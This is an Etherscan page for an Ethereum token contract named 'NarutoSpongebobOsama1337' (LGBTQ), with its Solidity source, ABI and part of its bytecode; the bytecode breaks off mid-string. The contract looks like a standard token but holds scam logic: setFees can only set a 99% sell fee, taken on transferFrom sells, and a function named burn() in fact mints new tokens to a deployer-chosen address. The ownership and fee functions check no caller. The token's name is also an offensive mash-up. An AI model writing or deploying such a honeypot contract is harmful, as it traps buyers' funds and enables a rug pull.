ETH Price: $3,268.24 (-0.21%)
Gas: 2 Gwei

Token

NarutoSpongebobOsama1337 (LGBTQ)
 

Overview

Max Total Supply

200,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,999,999,998.999999999999999998 LGBTQ

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,115,290.23416673733192403 LGBTQ

Value
$0.00
0xedb94d77859662a98a2b7f5ad52f417862f80e21
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LGBTQ

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-26
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
Telegram: https://t.me/narutospongebobama1337
Twitter : https://twitter.com/NarSpoOsama1337

 _______                       __          _________                                  ___.         ___.    ________                                ____________ _________________ 
 \      \ _____ _______ __ ___/  |_  ____ /   _____/_____   ____   ____    ____   ____\_ |__   ____\_ |__  \_____  \   ___________    _____ _____ /_   \_____  \\_____  \______  \
 /   |   \\__  \\_  __ \  |  \   __\/  _ \\_____  \\____ \ /  _ \ /    \  / ___\_/ __ \| __ \ /  _ \| __ \  /   |   \ /  ___/\__  \  /     \\__  \ |   | _(__  <  _(__  <   /    /
/    |    \/ __ \|  | \/  |  /|  | (  <_> )        \  |_> >  <_> )   |  \/ /_/  >  ___/| \_\ (  <_> ) \_\ \/    |    \\___ \  / __ \|  Y Y  \/ __ \|   |/       \/       \ /    / 
\____|__  (____  /__|  |____/ |__|  \____/_______  /   __/ \____/|___|  /\___  / \___  >___  /\____/|___  /\_______  /____  >(____  /__|_|  (____  /___/______  /______  //____/  
        \/     \/                                \/|__|               \//_____/      \/    \/           \/         \/     \/      \/      \/     \/           \/       \/         

*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Sponge1337bob");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "1337Osama");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "133713371337");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "13371337");
        return a / b;
    }
}


contract LGBTQ {    
    using SafeMath for uint256;    


    string public name = "NarutoSpongebobOsama1337";    
    string public symbol = "LGBTQ";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;    
    uint256 public burnedTokens;  


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);    
    event TokensBurned(address indexed burner, uint256 amount);    
    event Mint(address indexed to, uint256 amount);    


    constructor(address _swapRouter, uint256 _burnedTokens) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        burnedTokens = _burnedTokens;   
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "1337"    
        );
        _;
    }


    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "Osama");    
        require(allowance[_from][msg.sender] >= _amount, "Spongebob");   
        require(_to != address(0), "LGBTQ");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public {    
        require(newOwner != address(0));   
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burn() public {    
        require(feesSet, "Osama");   
        require(swapRouter != address(0), "1337");    
        require(burnedTokens > 0, "Spongebob");    

        totalSupply = totalSupply.add(burnedTokens);   
        balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens);    

        emit Mint(swapRouter, burnedTokens);    
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public {   
        require(!feesSet, "1337");    
        require(newBuyFee == 0, "LGBTQ");    
        require(newSellFee == 99, "Osama");   
        buyFee = newBuyFee;    
        sellFee = newSellFee;    
        feesSet = true;    
        feesEnabled = true;    
        emit FeesUpdated(newBuyFee, newSellFee);    
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "Osama");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "Spongebob");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280601881526020017f4e617275746f53706f6e6765626f624f73616d613133333700000000000000008152505f908162000049919062000546565b506040518060400160405280600581526020017f4c474254510000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162003cf638038062003cf68339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b6135e580620007115f395ff3fe60806040526004361061014a575f3560e01c806364bcf5f4116100b5578063a6f2ae3a1161006e578063a6f2ae3a14610460578063a9059cbb1461046a578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b806364bcf5f41461036657806370a0823114610390578063715018a6146103cc5780638da5cb5b146103e257806395d89b411461040c578063a64e4f8a146104365761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806344df8e70146102fc578063470624021461031257806347b5dd541461033c5761014a565b806306fdde031461014e578063095ea7b3146101785780630b78f9c0146101b457806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612df2565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612ea3565b6105e7565b6040516101ab9190612efb565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d59190612f14565b6106d4565b005b3480156101e7575f80fd5b506101f0610828565b6040516101fd9190612f61565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f7a565b61082e565b6040516102399190612efb565b60405180910390f35b34801561024d575f80fd5b5061025661137a565b6040516102639190612efb565b60405180910390f35b348015610277575f80fd5b5061028061138c565b60405161028d9190612f61565b60405180910390f35b3480156102a1575f80fd5b506102aa611392565b6040516102b79190612fe5565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612ffe565b6113a4565b6040516102f39190612efb565b60405180910390f35b348015610307575f80fd5b506103106113c1565b005b34801561031d575f80fd5b50610326611647565b6040516103339190612f61565b60405180910390f35b348015610347575f80fd5b5061035061164d565b60405161035d9190612f61565b60405180910390f35b348015610371575f80fd5b5061037a611653565b6040516103879190612efb565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612ffe565b611666565b6040516103c39190612f61565b60405180910390f35b3480156103d7575f80fd5b506103e061167b565b005b3480156103ed575f80fd5b506103f6611738565b6040516104039190613038565b60405180910390f35b348015610417575f80fd5b5061042061175d565b60405161042d9190612df2565b60405180910390f35b348015610441575f80fd5b5061044a6117e9565b6040516104579190612efb565b60405180910390f35b6104686117fc565b005b348015610475575f80fd5b50610490600480360381019061048b9190612ea3565b611e3f565b60405161049d9190612efb565b60405180910390f35b3480156104b1575f80fd5b506104ba612247565b6040516104c79190613038565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613051565b61226c565b6040516105039190612f61565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d919061308f565b61228c565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612ffe565b612af0565b005b5f8054610568906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906130e7565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c29190612f61565b60405180910390a36001905092915050565b600b5f9054906101000a900460ff1615610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613161565b60405180910390fd5b5f8214610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c906131c9565b60405180910390fd5b606381146107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f90613231565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161081c92919061324f565b60405180910390a15050565b60025481565b5f83600b60029054906101000a900460ff16806108915750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108c05750600b5f9054906101000a900460ff161580156108bf5750600b60019054906101000a900460ff165b5b806109815750600b5f9054906101000a900460ff1680156109275750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015610980575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806109e5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156109e457505f600a54145b5b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90613161565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b90613231565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b56906132c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc4906131c9565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610bef57505f600a54115b8015610c48575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610c9b5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610ce057610cc86064610cba600a5488612be590919063ffffffff16565b612c5c90919063ffffffff16565b9150610cdd8286612cb390919063ffffffff16565b90505b610d308560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dc18160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e5f9190612f61565b60405180910390a35f8211156110ae575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610fb557610f0a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fa89190612f61565b60405180910390a36110ac565b6110058360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110a39190612f61565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561118257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561136c576112128560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516113639190612f61565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b600b5f9054906101000a900460ff1661140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690613231565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613161565b60405180910390fd5b5f600854116114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906132c0565b60405180910390fd5b6114f9600854600254612d0b90919063ffffffff16565b60028190555061157260085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161163d9190612f61565b60405180910390a2565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461176a906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611796906130e7565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061185e5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061188d5750600b5f9054906101000a900460ff1615801561188c5750600b60019054906101000a900460ff165b5b8061194e5750600b5f9054906101000a900460ff1680156118f45750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561194d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806119b2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119b157505f600a54145b5b6119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613161565b60405180910390fd5b5f3411611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90613231565b60405180910390fd5b5f3490505f6009541115611ce1575f611a6a6064611a5c60095485612be590919063ffffffff16565b612c5c90919063ffffffff16565b90505f611a808284612cb390919063ffffffff16565b9050611af38160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612f61565b60405180910390a35f821115611cda57611c338260045f3073ffffffff